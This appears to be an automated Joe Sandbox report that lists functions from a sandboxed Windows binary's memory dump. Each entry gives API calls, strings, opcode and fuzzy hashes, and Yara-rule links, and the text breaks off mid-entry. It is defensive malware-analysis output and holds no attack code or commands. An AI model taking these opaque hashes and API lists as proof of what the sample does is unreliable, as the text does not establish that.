Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 71c95f74f632a2191c549d72134a38ed9690d3fdd9bc81f01724e4f505fd5cb6
Instruction ID: c8e4dc45a5242d1dd78e803f8610555279fd43237d1ef52ddcb0580d5951cb9d
Opcode Fuzzy Hash: 71c95f74f632a2191c549d72134a38ed9690d3fdd9bc81f01724e4f505fd5cb6
Instruction Fuzzy Hash: 9511577294411AABDB00EFA8D989AEE77BCFF45311F408552F911E3240D330BE81CBA1

Function 0094600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0094604C
GetStockObject.GDI32(00000011), ref: 00946060
SendMessageW.USER32(00000000,00000030,00000000), ref: 0094606A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: d7cac07f23b932988770b854d1d3c1efe5ec0d7709bd5095e866d707d19f8741
Instruction ID: c9275adb4b25af8f34ecab4e2cede1f366109e91e63782861561c02033705774
Opcode Fuzzy Hash: d7cac07f23b932988770b854d1d3c1efe5ec0d7709bd5095e866d707d19f8741
Instruction Fuzzy Hash: 28116DF2506509BFEF129FA5DC44EEABB6DEF093A5F040216FA1452110D736DCA0EBA1

Function 00963B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00963B56

Part of subcall function 00963AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00963AD2
Part of subcall function 00963AA3: ___AdjustPointer.LIBCMT ref: 00963AED

_UnwindNestedFrames.LIBCMT ref: 00963B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00963B7C
CallCatchBlock.LIBVCRUNTIME ref: 00963BA4

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: bad7e7b5119f76f8fe3ef557f8d54d9662ceec97d9b0b65997fe0be64f9b2233
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 76014C32100149BBDF125E95CC42EEB3F6DEF89754F048014FE4866121C732E961EBA0

Function 00973073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,009413C6,00000000,00000000,?,0097301A,009413C6,00000000,00000000,00000000,?,0097328B,00000006,FlsSetValue), ref: 009730A5
GetLastError.KERNEL32(?,0097301A,009413C6,00000000,00000000,00000000,?,0097328B,00000006,FlsSetValue,009E2290,FlsSetValue,00000000,00000364,?,00972E46), ref: 009730B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0097301A,009413C6,00000000,00000000,00000000,?,0097328B,00000006,FlsSetValue,009E2290,FlsSetValue,00000000), ref: 009730BF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 7ea042501beb4c281b889361a1a58b61fc3f1d689eea0d9458a213528fe34b46
Instruction ID: 21b31d59cb05f887a383aef39ed0d8fc30f4c8f18f659f5f8852cd04bb3e6cab
Opcode Fuzzy Hash: 7ea042501beb4c281b889361a1a58b61fc3f1d689eea0d9458a213528fe34b46
Instruction Fuzzy Hash: B701F7773A6223ABCB314BB89C449577B9CAF05B61B20C720F919E7180D721DD41E6E0

Function 009A7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 009A747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 009A7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 009A74AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 009A74CA

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: ee652f991ff1eaea8a1475d429802d864b153923d42512b74e08859c5a86f216
Instruction ID: bb2b675af3b6213e135f62362adaeab952d1a0ed36755e47cdc59b28675e4289
Opcode Fuzzy Hash: ee652f991ff1eaea8a1475d429802d864b153923d42512b74e08859c5a86f216
Instruction Fuzzy Hash: E71104B124A3159FE7208F94DC0AF92BFFDEB04B04F10896AA616D6061D770E944DB90

Function 009AB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,009AACD3,?,00008000), ref: 009AB0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,009AACD3,?,00008000), ref: 009AB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,009AACD3,?,00008000), ref: 009AB0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,009AACD3,?,00008000), ref: 009AB126

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 471d51e5d757035efeae095b2d85963a9bfb1f38655fda02353c0e79baff2889
Instruction ID: 97115b66c992932adfdd29454ed1e1309a778052cd0192f7a62cbd4894d1d350
Opcode Fuzzy Hash: 471d51e5d757035efeae095b2d85963a9bfb1f38655fda02353c0e79baff2889
Instruction Fuzzy Hash: E1118B70C0952DEBCF00AFE4E9686EEBB78FF0A311F004096D941B2186CB344691CB91

Function 009D7E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 009D7E33
ScreenToClient.USER32(?,?), ref: 009D7E4B
ScreenToClient.USER32(?,?), ref: 009D7E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 009D7E8A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: e65f70ca95dcba92ecb03e66e37ac2ab123a7acd142436bb1bee744e34ec1140
Instruction ID: 80711344d13d6394ac41332c676de9e2ffb33996270e9ac6b04619b74ea64102
Opcode Fuzzy Hash: e65f70ca95dcba92ecb03e66e37ac2ab123a7acd142436bb1bee744e34ec1140
Instruction Fuzzy Hash: 6D1156B9D4420AAFDB41CF98C884AEEBBF9FF18310F509156E915E3210D735AA94DF50

Function 009A2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 009A2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 009A2DD6
GetCurrentThreadId.KERNEL32 ref: 009A2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 009A2DE4

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 65c1cb7081a8e5bcf71e574604ae68a70480bb129cc26e64717fbd2fbf345135
Instruction ID: cdde50f39b0fd9053bd5f424a56461b9fb091a8eac67954c4971db145cdc372d
Opcode Fuzzy Hash: 65c1cb7081a8e5bcf71e574604ae68a70480bb129cc26e64717fbd2fbf345135
Instruction Fuzzy Hash: 3DE092B119A2267BDB201B769C0DFEB3F6CEF43BA1F400016F505D50C19AA4C880D6F0

Function 009D8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00959639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00959693
Part of subcall function 00959639: SelectObject.GDI32(?,00000000), ref: 009596A2
Part of subcall function 00959639: BeginPath.GDI32(?), ref: 009596B9
Part of subcall function 00959639: SelectObject.GDI32(?,00000000), ref: 009596E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 009D8887
LineTo.GDI32(?,?,?), ref: 009D8894
EndPath.GDI32(?), ref: 009D88A4
StrokePath.GDI32(?), ref: 009D88B2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 8153abd0fee07f5988ffb33010fd7c0cdbb7f75bea6e3365a6d9f836a825fe38
Instruction ID: a0459fb172713d49563f07b58ce96550aa02cc7ccdae1d8f3afd5710e04408ab
Opcode Fuzzy Hash: 8153abd0fee07f5988ffb33010fd7c0cdbb7f75bea6e3365a6d9f836a825fe38
Instruction Fuzzy Hash: 97F03A3608A259FAEF125F94AC09FCA3B5DAF06311F448002FA21651E2C7755551EBA5

Function 009598B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009598CC
SetTextColor.GDI32(?,?), ref: 009598D6
SetBkMode.GDI32(?,00000001), ref: 009598E9
GetStockObject.GDI32(00000005), ref: 009598F1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: c17c1553435588fb57eb653cf87829b47615eb42f5b3591efb314b128791894c
Instruction ID: 2dd4bde34bcdbbceca3eede1a1bb1b34a865ee0b98f9a8c2a3c9b728b6ecb59f
Opcode Fuzzy Hash: c17c1553435588fb57eb653cf87829b47615eb42f5b3591efb314b128791894c
Instruction Fuzzy Hash: 6CE0657129D251AADF215BB8BC09BE87F15AB11336F04821AF6F5540E1C7714680EB11

Function 009A162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 009A1634
OpenThreadToken.ADVAPI32(00000000,?,?,?,009A11D9), ref: 009A163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,009A11D9), ref: 009A1648
OpenProcessToken.ADVAPI32(00000000,?,?,?,009A11D9), ref: 009A164F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: b50b080c5f2c2eea848422c10f9442ed321268f2a7581bfacb14de7698dd07d9
Instruction ID: 781f8e89fe3a32530a0beef534a9db7f7bc20a08fb55a60f7e705870bebbfbe3
Opcode Fuzzy Hash: b50b080c5f2c2eea848422c10f9442ed321268f2a7581bfacb14de7698dd07d9
Instruction Fuzzy Hash: 02E086B1697212DBDB201FE09E0DB463B7CAF557A1F144809F245D9080D7348480D790

Function 0099D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0099D858
GetDC.USER32(00000000), ref: 0099D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0099D882
ReleaseDC.USER32(?), ref: 0099D8A3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3c6149e7374204050b7fa61c5514301e1b053b580f1b6474472f5b319c3937d9
Instruction ID: a4083d121b53d09a41a6804ab75e5687c9c922a73b7f428041a14ef5f02a8a44
Opcode Fuzzy Hash: 3c6149e7374204050b7fa61c5514301e1b053b580f1b6474472f5b319c3937d9
Instruction Fuzzy Hash: DBE01AF0856206DFCF419FE1D80CA6DBBB5FB08311F14844AE806E7250C7389985EF40

Function 0099D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0099D86C
GetDC.USER32(00000000), ref: 0099D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0099D882
ReleaseDC.USER32(?), ref: 0099D8A3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 838dbcf782ce2189723845a4ea77cfb089ca9f94dce9ec99f637a1acb1c2eff7
Instruction ID: 2b74fbb05dbb0a395b8a9985088d2b0e162215ee2d6f9ecc122c28ab19c16dd0
Opcode Fuzzy Hash: 838dbcf782ce2189723845a4ea77cfb089ca9f94dce9ec99f637a1acb1c2eff7
Instruction Fuzzy Hash: 28E01AB0856206DFCF509FA0D80C66DBBB1FB08311F14844AE806E7250C7389945EF40

Function 009B4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00947620: _wcslen.LIBCMT ref: 00947625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 009B4ED4

Strings

LPT, xrefs: 009B4DFB
*, xrefs: 009B4E10

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 72d45883a078caf11718f2b30d18976458d3f5c6b7e948f6f6b9d9803c5fac0a
Instruction ID: fb5ed206db58b048c55f282a847d53d646877fd05e447b743870146fdb487a38
Opcode Fuzzy Hash: 72d45883a078caf11718f2b30d18976458d3f5c6b7e948f6f6b9d9803c5fac0a
Instruction Fuzzy Hash: A5917F75A002149FCB14DF58C584EAABBF5BF48314F198099E80A9F3A3C735EE85DB91

Function 0096E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0096E30D

Strings

pow, xrefs: 0096E2E5, 0096E302

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8f2b8eb1ed21137a1bf6c6106d60e5291224f29b7550b39a98e03848b3c1b864
Instruction ID: 5ea37d14fcb54d6560837c42917471b51430d9961794ffbe7671bae7195aee3c
Opcode Fuzzy Hash: 8f2b8eb1ed21137a1bf6c6106d60e5291224f29b7550b39a98e03848b3c1b864
Instruction Fuzzy Hash: 9E518E66A1C20296CB267754CD41779BBACEF40740F34CD68E0D9873F8EF348C959A86

Function 0095E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0095E1B1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: f4b75e8ff4ef429085c39139dbd7c589051b6510faee7b12090d119a4ca0c32e
Instruction ID: 991be25fc65aa657ee8c5eaf8a50bb9bbccd5679486dcf5deb8072d3ba7c9017
Opcode Fuzzy Hash: f4b75e8ff4ef429085c39139dbd7c589051b6510faee7b12090d119a4ca0c32e
Instruction Fuzzy Hash: AE514271904346DFDF19DFA8C081AFA7BACEF55311F248415ECA19B2C0D6359E86CBA1

Function 0095F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0095F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 0095F2BB

Strings

@, xrefs: 0095F2AF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: b1973db4600558f83f3f23786b1de4eca4830e527dc18798fa0dddbdcd9f6518
Instruction ID: 538b7967d0bfc6b65f3c87c82f804fd2d138dbf957820eda499c450ce18fc9d0
Opcode Fuzzy Hash: b1973db4600558f83f3f23786b1de4eca4830e527dc18798fa0dddbdcd9f6518
Instruction Fuzzy Hash: E65133B24197489BD320AF50D886BABBBF8FBC4300F81885DF1D9411A5EB318569CB67

Function 009C5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 009C57E0
_wcslen.LIBCMT ref: 009C57EC

Strings

CALLARGARRAY, xrefs: 009C57E6, 009C57EB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: c48529dc2dd66cb8086280815f2a368db43e1c252b6cf6d8aeb82b165187a758
Instruction ID: ecd978f95867e2fde27aaa5862dedb2337d823cb1435de54aa836bf839ea10f6
Opcode Fuzzy Hash: c48529dc2dd66cb8086280815f2a368db43e1c252b6cf6d8aeb82b165187a758
Instruction Fuzzy Hash: C641AF71E002099FCB14DFA9C891EAEBBB9EF99350F11402DF505A7261E730AD81CBA1

Function 009BD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs
